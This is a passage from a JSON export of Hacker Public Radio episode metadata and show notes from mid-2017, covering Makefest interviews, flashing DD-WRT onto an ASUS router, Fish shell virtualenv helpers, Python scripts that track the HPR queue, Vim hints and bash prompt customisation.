                                                            As you can see, we are also printing a header column prior to processing the file using the BEGIN code block.

                                                            \n","hostid":300,"series":94,"explicit":0,"license":"CC-BY-SA","tags":"bash, linux, awk","version":0,"downloads":0,"valid":1}, {"id":2331,"date":"2017-07-10","title":"Liverpool Makefest 2017 Show 1","duration":309,"summary":"A short series of interviews done at the Liverpool Makefest 2017","notes":"

                                                            Hi HPR listeners

                                                            \n

                                                            Tony Hughes here with the first of some short interviews I did during the Liverpool Makefest held on the 24th June 2017 at Liverpool Central Library.

                                                            \n

                                                            https://lpoolmakefest.org/

                                                            \n

                                                            The first interview was with Jay from the Inventors Asylum

                                                            \n

                                                            https://www.inventorsasylum.co.uk/

                                                            \n

                                                            The second interview was with John Walton about his Animatronics creations, sorry no web link.

                                                            ","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Interviews, Making","version":0,"downloads":0,"valid":1}, {"id":2332,"date":"2017-07-11","title":"Installing DD-WRT on ASUS RT-N66U","duration":251,"summary":"Describes how to install DD-WRT router firmware on an ASUS RT-N66U router.","notes":"

                                                            Notes

                                                            \n
                                                              \n
                                                            • This worked for me, but it’s no guarantee it’ll work for you
                                                            • \n
                                                            • It’s been a couple weeks and I’m doing this from memory with the help of the resources I used, so I may have missed or misremembered a step
                                                            • \n
                                                            • Read the relevant documentation for yourself\n
                                                            • \n
                                                            • DO NOT use the router database to determine the firmware version to use
                                                            • \n
                                                            \n

                                                            Resetting and Clearing

                                                            \n
                                                              \n
                                                            • Recovery Mode (use Reset Button):\n
                                                                \n
                                                              • With router unplugged, press reset button
                                                              • \n
                                                              • Plug in power
                                                              • \n
                                                              • Hold reset button for ~10 seconds until the power LED is blinking slowly
                                                              • \n
                                                            • \n
                                                            • Clear the NVRAM (use WPS Button):\n
                                                                \n
                                                              • With router unplugged, press WPS button
                                                              • \n
                                                              • Plug in power
                                                              • \n
                                                              • Hold WPS button for ~10 seconds
                                                              • \n
                                                              • Note: NVRAM is where the settings for the router are stored
                                                              • \n
                                                            • \n
                                                            • 30-30-30 Reset\n
                                                                \n
                                                              • Push reset button with the router powered on for 30 seconds
                                                              • \n
                                                              • Pull the power cord for 30 seconds while holding the reset button
                                                              • \n
                                                              • Plug the power cord in for 30 seconds, while holding the reset button
                                                              • \n
                                                            • \n
                                                            \n

                                                            Upload via Web GUI

                                                            \n
                                                              \n
                                                            • Tried using the Web GUI method, but ASUS firmware checks to see if it’s an official version (i.e. signed by ASUS), and will only install it if it is
                                                            • \n
                                                            • DD-WRT isn’t an official version, obviously, but not all is lost, uploading via recovery utility works
                                                            • \n
                                                            \n

                                                            Upload via Recovery Utility

                                                            \n
                                                              \n
                                                            • Download router firmware: dd-wrt.v24-26138_NEWD-2_K3.x-big-RT-N6UU.trx\n
                                                                \n
                                                              • big version includes more tools than mega version
                                                              • \n
                                                            • \n
                                                            • Make the following network config information on the computer you’ll upload the firmware from:\n
                                                                \n
                                                              • IP = 192.168.1.12
                                                              • \n
                                                              • Subnet = 255.255.255.0
                                                              • \n
                                                              • Default Gateway = 192.168.1.1
                                                              • \n
                                                            • \n
                                                            • Perform 30-30-30 Reset
                                                            • \n
                                                            • Perform Clear NVRAM
                                                            • \n
                                                            • Perform Recovery Mode
                                                            • \n
                                                            • Navigate to 192.168.1.1 and follow screen directions to upload DD-WRT firmware
                                                            • \n
                                                            • It may take up to 10 minutes to reboot (don’t think it took that long, but I waited that long)
                                                            • \n
                                                            • Perform Recovery Mode
                                                            • \n
                                                            • Navigate to 192.168.1.1 and select Reset NVRAM
                                                            • \n
                                                            • Navigate to https://192.168.1.1/do.htm?cmd=nvram+commit, and then select reboot and wait ~10 minutes
                                                            • \n
                                                            • Perform 30-30-30 Reset
                                                            • \n
                                                            • Navigating to 192.168.1.1 should now bring you to your new DD-WRT installation\n
                                                                \n
                                                              • Remember to secure it
                                                              • \n
                                                            • \n
                                                            • Note: installing mini version (referenced in online directions) isn’t necessary prior to installing the big/mega version
                                                            • \n
                                                            \n

                                                            Resources

                                                            \n\n","hostid":358,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"router, dd-wrt","version":0,"downloads":0,"valid":1}, {"id":2333,"date":"2017-07-12","title":"VirtualenvWrapper for Fish Shell","duration":835,"summary":"In this episode, talk about how I created my own virtualenvwrapper-like interface using Fish Shell.","notes":"

                                                            In this episode, talk about how I created my own virtualenvwrapper-like interface using Fish Shell.

                                                            \n

                                                            Fish Shell is "a smart and user-friendly command line shell for macOS, Linux, and the rest of the family. It excels in tab completion and ease of use, but virtualenvwrapper does not support it.

                                                            \n

                                                            Virtualenvwrapper, like the name suggests, is a wrapper around python's virtualenv functionality, which allows you to use different versions of python packages in separate environments. To learn more, listen to BJB's show called A bit of background on virtualenvwrapper.

                                                            \n

                                                            Functions and aliases in my fish config file:

                                                            \n
                                                            # Set virtual directory root\nexport set WORKON_HOME=$HOME/Envs\n\n# List virtual environments\nalias lsenvs="ls -m $WORKON_HOME | sed 's/\\///g'"\n\n# Create python2 virtual environment\nfunction -d "Like virtualenvwrapper for python2" mkvirtualenv2\n    virtualenv -p python2 $WORKON_HOME/$argv;\n    and source $WORKON_HOME/$argv/bin/activate.fish;\n    and echo "Virtual environment created."\nend\n\n# Create python3 virtual environment\nfunction -d "Like virtualenvwrapper" mkvirtualenv\n    virtualenv -p python3 $WORKON_HOME/$argv;\n    and source $WORKON_HOME/$argv/bin/activate.fish;\n    and echo "Virtual environment created."\nend\n\n# Source a virtual environment\nfunction workon\n    source $WORKON_HOME/$argv/bin/activate.fish; and echo "Switch to virtual environment."\nend\n\n# Delete a virtual environment\nfunction -d "Like virtualenvwrapper" rmvirtualenv\n    if test -n "$VIRTUAL_ENV"\n        deactivate\n    end\n    rm -rf $WORKON_HOME/$argv; and echo "Virtual environment deleted."\nend
                                                            \n","hostid":300,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"python,virtualenv,fish shell","version":0,"downloads":0,"valid":1}, {"id":2334,"date":"2017-07-13","title":"Our Adventure Begins!","duration":966,"summary":"I discuss Colossal Cave Adventure and the adventure of playing it with my son.","notes":"

                                                            In this HPR episode, I discuss the open-sourcing of Colossal Cave Adventure (a text adventure computer game), my childhood exposure to text adventure games, and passing along the text adventure torch to my middle son thanks to the "bsdgames" package.

                                                            \n

                                                            Opening sound clip taken from "The Hobbit: An Unexpected Journey." Closing song is "The Free Software Song" performed by Mark Forry, Yvette Osborne, Ron Fox, Steve Finney, Bill Cope, Kip McAtee, Ernie Provencher, Dan Auvil (https://www.gnu.org/music/free-software-song.en.html).

                                                            \n

                                                            E-mail: claudio@linuxbasement.com
                                                            \nIRC: ClaudioM on irc.freenode.net, #oggcastplanet

                                                            \n

                                                            Links

                                                            \n\n","hostid":152,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"foss,adventure,gaming,bsdgames,textadventure","version":0,"downloads":0,"valid":1}, {"id":2335,"date":"2017-07-14","title":"Baofeng UV5R VHF/UHF Handset part 9","duration":912,"summary":"An in depth series about the Baofeng UV5R VHF/UHF hand-held transceiver.","notes":"

                                                            In this episode I cover the menus 25 to 40 of the Baofeng UV5R VHF / UHF Hand Held Transceiver

                                                            \n
                                                              \n
                                                            • Menu 25, SFT-D - Frequency Shift Direction [ - / + / 0 ] (Duplex shift)

                                                            • \n
                                                            • Menu 26, OFFSET - Frequency shift amount - Values (MHz) [ 00.000 - 69.990 ]

                                                            • \n
                                                            • Menu 27, MEM-CH - Store a Memory Channel [ 000 -- 127 ]

                                                            • \n
                                                            • Menu 28, DEL-CH - Delete a memory channel [ 000 -- 127 ]

                                                            • \n
                                                            • Menu 29, WT-LED - Display back-light colour (Standby) [ BLUE, ORANGE, PURPLE, OFF ]

                                                            • \n
                                                            • Menu 30, RX-LED - Display back-light colour (Receive) [ BLUE, ORANGE, PURPLE, OFF ]

                                                            • \n
                                                            • Menu 31, TX-LED - Display back-light colour (Transmitt) [ BLUE, ORANGE, PURPLE, OFF ]

                                                            • \n
                                                            • Menu 32, AL-MOD - Alarm Mode, Activated when Orange button Held [ SITE, TONE, CODE ]

                                                            • \n
                                                            • Menu 33, BAND - Band Selection [VHF/UHF]

                                                            • \n
                                                            • Menu 34, TDR-AB - Transmit selection in Dual Watch mode [ A / B / OFF ]

                                                            • \n
                                                            • Menu 35, STE (Squelch Tail Elimination) [ ON / OFF ]
                                                              \nhttps://ham.stackexchange.com/questions/3771/how-does-the-baofeng-radio-eliminate-squelch-tail

                                                            • \n
                                                            • Menu 36, RP-STE - Squelch Tail Elimination through a repeater [ 1-10 OFF]

                                                            • \n
                                                            • Menu 37, RPT-RL - Delay the squelch tail of re-peater [ 1 - 10 OFF ]

                                                            • \n
                                                            • Menu 38, 38 PONMGS - Power On Message [ Full / MSG ]

                                                            • \n
                                                            • Menu 39, Roger Beep, Wikipedia [ ON / OFF ]
                                                              \nhttps://en.wiktionary.org/wiki/roger_beep

                                                            • \n
                                                            • Menu 40 RESET - Restore defaults [ VFO / ALL ]

                                                            • \n
                                                            ","hostid":201,"series":43,"explicit":0,"license":"CC-BY-SA","tags":"Amateur Radio","version":0,"downloads":0,"valid":1}, {"id":2336,"date":"2017-07-17","title":"Liverpool Makefest 2017 Show 2","duration":373,"summary":"A short series of interviews done at the Liverpool Makefest 2017","notes":"

                                                            Hi Tony Hughes here with the second of some short interviews I did during the Liverpool Makefest held on the 24th June 2017 at Liverpool Central Library.

                                                            \n

                                                            https://lpoolmakefest.org/

                                                            \n

                                                            The first interview is with Jimmy England from Warington Fab Lab

                                                            \n

                                                            https://fablab.warrington.ac.uk/

                                                            \n

                                                            The second interview was with Patrick from DoES Liverpool

                                                            \n

                                                            https://doesliverpool.com/

                                                            \n","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Interviews, Making","version":0,"downloads":0,"valid":1}, {"id":2337,"date":"2017-07-18","title":"The Kobo Aura eReader","duration":1123,"summary":"A review of my new (used) Kobo Aura e-book reader","notes":"

                                                            I recently acquired a refurbished Kobo Aura e-book reader. This episode is a brief review.

                                                            \n\n

                                                            Links

                                                            \n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ebooks, ereaders, ebook readers","version":0,"downloads":0,"valid":1}, {"id":2338,"date":"2017-07-19","title":"Binaural recording 2 off to work","duration":188,"summary":"Binaural 3d audio recording, please listen at normal speed with good head phones.","notes":"

                                                            This is a follow up to show 0785 where I explained how and why I was recording 3d sound using my home made Binaural head phones, this episode is a standard morning commute waiting for Phantom Hawk to pick me up in his big yellow bus, enjoy.

                                                            \n

                                                            Links

                                                            \n\n","hostid":110,"series":101,"explicit":1,"license":"CC-BY-SA","tags":"binaural,quvmoh,audio","version":0,"downloads":0,"valid":1}, {"id":2339,"date":"2017-07-20","title":"Podcast list additions","duration":1255,"summary":"Updates to my list of podcast feeds","notes":"

                                                            Podcast list additions

                                                            \n

                                                            I did two HPR shows 1516 and 1518 in 2014 about the podcast feeds I'm subscribed to. I have made a few additions since then (and a few subtractions) and I thought I'd share a few of the additions.

                                                            \n

                                                            The list below shows the feed titles. Clicking on them will take you to the full notes where you can examine the details of the feed.

                                                            \n
                                                              \n
                                                            1. The World of Business
                                                            2. \n
                                                            3. Criminal
                                                            4. \n
                                                            5. Seriously...
                                                            6. \n
                                                            7. Start the Week
                                                            8. \n
                                                            9. Dan Carlin's Hardcore History
                                                            10. \n
                                                            11. The Verb
                                                            12. \n
                                                            13. Making It With Jimmy Diresta, Bob Clagett and David Picciuto
                                                            14. \n
                                                            15. Reclaimed Audio Podcast
                                                            16. \n
                                                            17. The Bugcast - Ogg Feed
                                                            18. \n
                                                            19. Open Country
                                                            20. \n
                                                            21. Common Sense with Dan Carlin
                                                            22. \n
                                                            23. Philosophy Bites
                                                            24. \n
                                                            25. All in the Mind
                                                            26. \n
                                                            27. BacterioFiles
                                                            28. \n
                                                            29. podcast (en) – omega tau science & engineering podcast
                                                            30. \n
                                                            31. This Week in Evolution
                                                            32. \n
                                                            33. This Week in Microbiology
                                                            34. \n
                                                            35. Urban Agriculture
                                                            36. \n
                                                            37. Weekly Space Hangout Audio
                                                            38. \n
                                                            39. Edinburgh Skeptics Presents...
                                                            40. \n
                                                            41. Exposing PseudoAstronomy
                                                            42. \n
                                                            43. The Pen Addict
                                                            44. \n
                                                            45. Late Night Linux (Ogg)
                                                            46. \n
                                                            47. systemau - OGG
                                                            48. \n
                                                            49. The Changelog
                                                            50. \n
                                                            51. The Duffercast Ogg
                                                            52. \n
                                                            53. The Full Circle Weekly News
                                                            54. \n
                                                            55. The JaK Attack! podcast
                                                            56. \n
                                                            \n

                                                            Resources

                                                            \n\n","hostid":225,"series":75,"explicit":1,"license":"CC-BY-SA","tags":"podcast,feed,recommendation","version":0,"downloads":0,"valid":1}, {"id":2340,"date":"2017-07-21","title":"Tracking the HPR queue in Python","duration":1292,"summary":"I explain how I capture the number of HPR shows in the queue using python","notes":"

                                                            In this episode I explain how I use python to track the number of shows in the HPR queue and then turn on a blinkstick to indicate the size of the queue.

                                                            \n\n

                                                            Python code included below

                                                            \n
                                                            #!/usr/bin/env python3\n\n### This is a scratchpad file I've created to try out snippets of code in python\n\n# The script below is for use with Python 3\n# This script should work out of the box on most systems running a version of Python 3 \n# If you happen to have a blinkstick lying about then your can uncomment the blinkstick module\n# and uncomment the references at the bottom of the program that call the blinkstick functions\n# Regards, Mr X\n\n\n# Imported modules\nfrom time import sleep          # used to pause program\n#from blinkstick import blinkstick  # used to control blinkstick nano attached to usb port of raspberry pi\nimport urllib.request           # used to capture hpr webpage content to get the number of HPR shows in the que\nimport re               # regular expressions, used to find sting in HPR webpage (get_hpr_que)\n\n\n# These functions control a blink stick nano attached to my raspberry pi USB port #################\n# They can be ignored or deleted if you don't have one\n\n\ndef bstick_off():\n# Search for all attached blinksticks and turn them all off\n    for bstick in blinkstick.find_all():\n        bstick.turn_off()   # Turn front blinkstick LED off\n        bstick.set_color(channel=0, index=1, name="black")  # Turn rear blinkstick led off\n        print("Blinkstick: " + bstick.get_serial() + " turned off")\n\n\ndef bstick_on(colour):\n# Turn blinkstick on and set led colour to string value stored in var colour\n# valid colours are, black, silver, gray, white, maroon, red, purple, fuchsia, green, lime, olive, yellow, navy, blue, teal, aqua\n    for bstick in blinkstick.find_all():\n        bstick.set_max_rgb_value(30)        # Sets max blinkstick RGB value to 15, makes LED dimm\n        bstick.set_color(name=colour)       # Turn blinkstick on, var colour determines colour\n        print ("Blinkstick: " + bstick.get_serial() + " | Colour: " + bstick.get_color(color_format="hex") + " [" + colour + "]")\n#hex\n\ndef bstick_on_random():\n# Turn blinkstick on colour random\n    for bstick in blinkstick.find_all():\n        bstick.set_random_color()\n        print ("Blinkstick: " + bstick.get_serial() + " | Colour: " + bstick.get_color(color_format="hex"))\n\n\ndef bstick_blink_red():\n# Flash blinkstick colour red\n    for bstick in blinkstick.find_all():\n        bstick.blink(name="red")\n        print ("Blinkstick: " + bstick.get_serial() + " | Colour: " + bstick.get_color(color_format="hex"))\n\n################################################################################\n\n\ndef get_hpr_que():\n# Goto hacker public radio calendar page and extract the number of shows in the queue\n# then return the number of shows as an integer\n# also turns on blinkstick LED and sends number of HPR shows in the que to the display\n\n    url = 'https://hackerpublicradio.org/calendar.php'   # HPR url for calendar page\n    try:\n        html_content = urllib.request.urlopen(url).read()   # Try to read hpr calendar page\n    except:\n        print("ERROR: Problem acessing url " + url)     # if error accessing url then return -1\n        hpr_shows = -1\n        return hpr_shows\n    html_page = str(html_content)   # convert to string\n    line_begin = html_page.find('There are only <strong>') # find position of string in html page\n    line_end = line_begin + 70 # Store line end position (start position + 70)\n    line = html_page[line_begin:line_end]  # Capture string line\n    #print(line) # DEBUG Print line string\n    digit = re.findall(r'\\d+',line)         # Find digits in line\n    #print(digit[0])    # print the 1st digit\n    try:\n        hpr_shows = int(digit[0])   # convert digit list to integer days\n    except:                         # If show numbers not found then return -1\n        print("ERROR: Problem getting number of HPR shows in que.")\n        hpr_shows = -1\n        return hpr_shows\n    #print(hpr_shows) # DEBUG\n    #return hpr_shows\n    if hpr_shows > 9:       # If hpr show que > 9 turn on green LED\n        print("Turn on green blinkstick LED")\n        #bstick_on("green")\n    elif hpr_shows > 5:     # Else if hpr show que > 5 turn on blue LED\n        print("Turn on blue blinkstick LED")\n        #bstick_on("blue")\n    elif hpr_shows > -1:    # Else if hpr show que > -1 turn on ref LED\n        print("Turn on red blinkstick LED")     \n        #bstick_on("red")\n    else:\n        print("Flash red blinkstick LED")\n        #bstick_blink_red() # Else blink LED to show error\n    print("The are " + str(hpr_shows) + " shows in the HPR que...")\n    sleep(4)\n    print("Turn off all blinkstick LED's")\n    #bstick_off()           # Turn blinkstick off\n\n\n# Main program\nget_hpr_que()
                                                            \n","hostid":201,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Python, Programming, Hardware, BlinkStick","version":0,"downloads":0,"valid":1}, {"id":2341,"date":"2017-07-24","title":"Liverpool Makefest 2017 Show 3","duration":378,"summary":"A short series of interviews done at the Liverpool Makefest 2017","notes":"

                                                            Hi Tony Hughes here with the third show of some short interviews I did during the Liverpool Makefest held on the 24th June 2017 at Liverpool Central Library.

                                                            \n

                                                            https://lpoolmakefest.org/

                                                            \n

                                                            The first interview is with David from Studio@Deyes in Wavertree

                                                            \n

                                                            https://studio-deyes.co.uk/

                                                            \n

                                                            The second interview was with Laura from Tactile electronics

                                                            \n

                                                            https://tactile-electronics.tumblr.com/

                                                            \n

                                                            The final interview for this show was with Amelia, Beth and Chelsea from Liverpool Girl Geeks.

                                                            \n

                                                            https://www.liverpoolgirlgeeks.co.uk/

                                                            ","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Interviews, Making","version":0,"downloads":0,"valid":1}, {"id":2342,"date":"2017-07-25","title":"Wherein our hero fails to repair a garage door.","duration":1517,"summary":"I try and fail to fix my garage door.","notes":"

                                                            My garage door failed spectacularly for a second time. I make an attempt to repair it but find that my extension cables are a bit too short. I hope I can explain a little about how garage doors work along the way.

                                                            ","hostid":241,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"diy, home improvement, fixit, wontfix, failure, door, garage door, handyman, narration","version":0,"downloads":0,"valid":1}, {"id":2343,"date":"2017-07-26","title":"Healthcare in the Netherlands","duration":1109,"summary":"Ken reads the Wikipedia article on Healthcare in the Netherlands","notes":"

                                                            \nIn show hpr2325 Ahuka describes how Health Insurance and How It Works.

                                                            \n

                                                            \nIn this episode Ken reads the current state of Healthcare in the Netherlands by reading the Wikipedia entry.

                                                            \n

                                                            Links

                                                            \n","hostid":30,"series":100,"explicit":1,"license":"CC-BY-SA","tags":"Health Insurance","version":0,"downloads":0,"valid":1}, {"id":2344,"date":"2017-07-27","title":"Follow on to HPR2340 (Tracking the HPR queue in Python)","duration":869,"summary":"Improved version of script to capture the number of HPR shows in the queue using python.","notes":"

                                                            This is a follow up to my previous show HPR2340, the improvement being I use the available STATS file from the hpr website rather than scraping the content from the HPR calendar page

                                                            \n\n

                                                            Snapshot contents (2017-06-23) of 'stats.txt' file which was actually called 'hpr_stats.txt' my mistake

                                                            \n
                                                            Started:    11 years, 8 months, 19 days ago (2005-10-10)\nRenamed HPR:    9 years, 5 months, 27 days ago (2007-12-31)\nTotal Shows:    2911\nTotal TWAT: 300\nTotal HPR:  2611\nHPR Hosts:  286\nDays to next free slot: 17\nHosts in Queue: 9\nShows in Queue: 14\nComments waiting approval:  0\nFiles on the FTP Server:    1\nNumber of Emergency Shows:  7\nDays until show without media:  0\n1498246151,369343750,299186950,2911,300,2611,286,17,9,14,0,1,7,0
                                                            \n\n
                                                            #!/usr/bin/env python3\n\n### This is a scratchpad file I've created to try out snippets of code in python\n\n# The script below is for use with Python 3\n# This script should work out of the box on most systems running a version of Python 3 \n# If you happen to have a blinkstick lying about then your can uncomment the blinkstick module\n# and uncomment the references at the bottom of the program that call the blinkstick functions\n# Regrds, Mr X\n\n\n# Imported modules\nfrom time import sleep          # used to pause program\n#from blinkstick import blinkstick  # used to control blinkstick nano attached to usb port of raspberry pi\nimport urllib.request           # used to capture hpr webpage content to get the number of HPR shows in the que\nimport re               # regular expressions, used to find sting in HPR webpage (get_hpr_que)\n\n\n# These functions control a blink stick nano attached to my raspberry pi USB port #################\n# They can be ignored or deleted if you don't have one\n\n\ndef bstick_off():\n# Search for all attached blinksticks and turn them all off\n    for bstick in blinkstick.find_all():\n        bstick.turn_off()   # Turn front blinkstick LED off\n        bstick.set_color(channel=0, index=1, name="black")  # Turn rear blinkstick led off\n        print("Blinkstick: " + bstick.get_serial() + " turned off")\n\n\ndef bstick_on(colour):\n# Turn blinkstick on and set led colour to string value stored in var colour\n# valid colours are, black, silver, gray, white, maroon, red, purple, fuchsia, green, lime, olive, yellow, navy, blue, teal, aqua\n    for bstick in blinkstick.find_all():\n        bstick.set_max_rgb_value(30)        # Sets max blinkstick RGB value to 15, makes LED dimm\n        bstick.set_color(name=colour)       # Turn blinkstick on, var colour determines colour\n        print ("Blinkstick: " + bstick.get_serial() + " | Colour: " + bstick.get_color(color_format="hex") + " [" + colour + "]")\n#hex\n\ndef bstick_on_random():\n# Turn blinkstick on colour random\n    for bstick in blinkstick.find_all():\n        bstick.set_random_color()\n        print ("Blinkstick: " + bstick.get_serial() + " | Colour: " + bstick.get_color(color_format="hex"))\n\n\ndef bstick_blink_red():\n# Flash blinkstick colour red\n    for bstick in blinkstick.find_all():\n        bstick.blink(name="red")\n        print ("Blinkstick: " + bstick.get_serial() + " | Colour: " + bstick.get_color(color_format="hex"))\n\n################################################################################\n\n\ndef get_hpr_que_improved():\n# Goto hacker public stats page and extract the number of days to next free slot\n# turns on blinkstick LED with colour dependent on the number of days to next free slot in HPR queue\n\n    url = 'https://hackerpublicradio.org/stats.php'  # HPR url for stats page\n    try:\n        text = urllib.request.urlopen(url).read()   # Try to read hpr stats text\n    except:\n        print("ERROR: Problem acessing url " + url)     # if error accessing url then return -1\n        hpr_shows = -1\n        return hpr_shows\n    #print(text)    # DEBUG\n    text_page = str(text)   # convert text from list to string\n    line_begin = text_page.find('Days to next free slot:') # find position of string in page\n    line_end = line_begin + 27 # Store line end position (start position + 27)\n    line = text_page[line_begin:line_end]  # Capture string line\n    #print(line) # DEBUG Print line string\n    digit = re.findall(r'\\d+',line)         # Find digits in line\n    #print(digit[0])    # DEBUG print the 1st digit\n    try:\n        hpr_shows = int(digit[0])   # convert digit list to integer days\n    except:                         # If show numbers not found then return -1\n        print("ERROR: Problem getting number of HPR shows in que.")\n        hpr_shows = -1\n        return hpr_shows\n\n    if hpr_shows > 9:       # If hpr show que > 9 turn on green LED\n        print("Turn on green blinkstick LED")\n        #bstick_on("green")\n    elif hpr_shows > 5:     # Else if hpr show que > 5 turn on blue LED\n        print("Turn on blue blinkstick LED")\n        #bstick_on("blue")\n    elif hpr_shows > -1:    # Else if hpr show que > -1 turn on ref LED\n        print("Turn on red blinkstick LED")     \n        #bstick_on("red")\n    else:\n        print("Flash red blinkstick LED")\n        #bstick_blink_red() # Else blink LED to show error\n    print("The are " + str(hpr_shows) + " days to tne next free slot in the HPR que...")\n    sleep(4)\n    print("Turn off all blinkstick LED's")\n    #bstick_off()           # Turn blinkstick off\n\n\n# Main program\nget_hpr_que_improved()
                                                            \n","hostid":201,"series":25,"explicit":1,"license":"CC-BY-SA","tags":"Python, Programming, Hardware, BlinkStick","version":0,"downloads":0,"valid":1}, {"id":2345,"date":"2017-07-28","title":"Fixing a toilet roll holder","duration":531,"summary":"A small fix improves someone's life","notes":"

                                                            \nIn this episode Ken discusses how a simple \"life hack\", turned a source of frustration, into an engineering problem with a simple solution.\n

                                                            \n

                                                            \n\"Toilet\n

                                                            \n

                                                            \n\"Toilet\n

                                                            \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Life Hack, re-purpose hack","version":0,"downloads":0,"valid":1}, {"id":2346,"date":"2017-07-31","title":"Liverpool Makefest 2017 Show 4","duration":315,"summary":"A short series of interviews done at the Liverpool Makefest 2017","notes":"

                                                            Hi Tony Hughes here with the 4th show of some short interviews I did during the Liverpool Makefest held on the 24th June 2017 at Liverpool Central Library.

                                                            \n

                                                            https://lpoolmakefest.org/

                                                            \n

                                                            The first interview is with Hillary Harper one of the Makefest Crew

                                                            \n

                                                            The second interview was with Gemma from Patten Craft

                                                            \n

                                                            https://www.gemmamaylatham.co.uk/portfolio-item/patterncraft/

                                                            \n

                                                            The final interview for this show was with Simon Rider of Liverpool Book Art

                                                            \n

                                                            https://liverpoolbookart.com/

                                                            \n","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Interviews, Making","version":0,"downloads":0,"valid":1}, {"id":2347,"date":"2017-08-01","title":"An Intro to Apache Hadoop","duration":2249,"summary":"Just a pretty boring summary of what Hadoop is and how it works.","notes":"\n","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Hadoop,big data,MapReduce,cluster,HDFS","version":0,"downloads":0,"valid":1}, {"id":2348,"date":"2017-08-02","title":"Vim Hints 005","duration":2286,"summary":"Hints and Tips for Vim users - part 5","notes":"

                                                            Vim Hints 005

                                                            \n

                                                            Vim Hints is back!

                                                            \n

                                                            Oops! Where did half of 2015, all of 2016 and the first half of 2017 go?

                                                            \n

                                                            Well, life got in the way, plus motivation dwindled somewhat. This series is very demanding - the sed series was a walk in the park compared to tackling the continental-scale landscape of Vim!

                                                            \n

                                                            Still, the original goal was to try and introduce the really useful features of Vim and to make it manageable for everyday use. The hope was, and still is, that the series could get people started on their own journeys through its marvels.

                                                            \n

                                                            Also, with the currently circulating StackOverflow article on "How to exit the Vim editor?", it's worth pointing out that we dealt with that subject in episode 1, and this issue is revealed as the ridiculous meme that it really is!

                                                            \n

                                                            Quick recap

                                                            \n

                                                            To recap, the last episode of this planned series was in March 2015. Here's a list of links to all of the episodes so far:

                                                            \n\n

                                                            Let's briefly describe what was covered in these episodes to set the context.

                                                            \n

                                                            So far we have looked at very basic editing in episode 1, where we mentioned modes Normal, Insert and Command modes.

                                                            \n

                                                            In episode 2 we looked at Vim's backup mechanism, undoing and redoing changes, and file recovery in the event of a problem. We started using the .vimrc configuration file.

                                                            \n

                                                            We began looking at movement commands in Normal mode in episode 3, and beefed up the configuration file somewhat.

                                                            \n

                                                            More movement commands were covered in episode 4 as well as searching. We began looking at commands that make changes, adding, inserting, deleting and changing text in various ways. The concept of doing these things with various movements was covered. Again, a number of useful options for the configuration file were introduced.

                                                            \n

                                                            Full Notes

                                                            \n

                                                            Since the notes explaining this subject are particularly long, they have been placed here: hpr2348_full_shownotes.html and an ePub version is also available here: hpr2348_full_shownotes.epub.

                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            1. Stack Overflow: Helping One Million Developers Exit Vim
                                                            2. \n
                                                            3. Vim Help:\n
                                                            4. \n
                                                            5. Previous episode: "Vim Hints Episode 4"
                                                            6. \n
                                                            7. Resources:\n
                                                            8. \n
                                                            \n","hostid":225,"series":82,"explicit":1,"license":"CC-BY-SA","tags":"vim,editor,movement,copy,paste,text object,configuration,.vimrc","version":0,"downloads":0,"valid":1}, {"id":2349,"date":"2017-08-03","title":"Customizing my bash prompt","duration":1452,"summary":"A detailed look into how, and why, to customize a bash prompt.","notes":"

                                                            Basic bash prompt information

                                                            \n
                                                              \n
                                                            • Variables and files\n
                                                                \n
                                                              • .bashrc: the RC file where all of this stuff can be set
                                                              • \n
                                                              • PS1: main prompt variable
                                                              • \n
                                                              • PS2: continuation prompt
                                                              • \n
                                                              • PROMPT_COMMAND: a bash function name, run every time prompt is displayed
                                                              • \n
                                                            • \n
                                                            • Colors\n
                                                                \n
                                                              • Uses escape sequences
                                                              • \n
                                                              • There are problems with prompts and escape sequences\n
                                                                  \n
                                                                • Multiple escaping
                                                                • \n
                                                                • String interpretation and variable expansion
                                                                • \n
                                                              • \n
                                                              • tput to the rescue!\n
                                                                  \n
                                                                • Takes away the need for complex escape codes
                                                                • \n
                                                                • Must run tput init at the beginning of your .bashrc file
                                                                • \n
                                                                • TL;DR: Use tput for color strings, add them at the last possible moment, with brackets and backslashes
                                                                • \n
                                                              • \n
                                                            • \n
                                                            • Embedding bash scripts\n
                                                                \n
                                                              • Single quotes are king
                                                              • \n
                                                              • Will be run every time PS1 is evaluated
                                                              • \n
                                                              • Otherwise, only run at time of assignment
                                                              • \n
                                                            • \n
                                                            \n

                                                            Layout of my prompt

                                                            \n
                                                              \n
                                                            • Two lines\n
                                                                \n
                                                              • Information/status line
                                                              • \n
                                                              • Prompt line
                                                              • \n
                                                            • \n
                                                            • Status line\n
                                                                \n
                                                              • Starts with current username\n
                                                                  \n
                                                                • Changes color when user has mail
                                                                • \n
                                                              • \n
                                                              • Next is the hostname (truncated)\n
                                                                  \n
                                                                • Separated by an @ symbol, like an email address
                                                                • \n
                                                                • Changes color when the system is in need of a reboot
                                                                • \n
                                                                • Checks for /run/reboot_required
                                                                • \n
                                                              • \n
                                                              • Current directory\n
                                                                  \n
                                                                • Separated from previous items by a pipe
                                                                • \n
                                                                • Truncated with a tilde if user's home is in the path
                                                                • \n
                                                                • Prepended with a number indicating the directory stack, if present
                                                                • \n
                                                                • Appended with the git (±) symbol if we're in a git branch, followed by the name of the branch
                                                                • \n
                                                              • \n
                                                            • \n
                                                            • Prompt line\n
                                                                \n
                                                              • A blue » character
                                                              • \n
                                                              • Prepended with the number of background processes spawned from this terminal
                                                              • \n
                                                            • \n
                                                            \n

                                                            Screenshot:

                                                            \n

                                                            \"A

                                                            \n\n

                                                            Link to Git Repository

                                                            \n\n

                                                            Editor's Note: added 2017-08-05

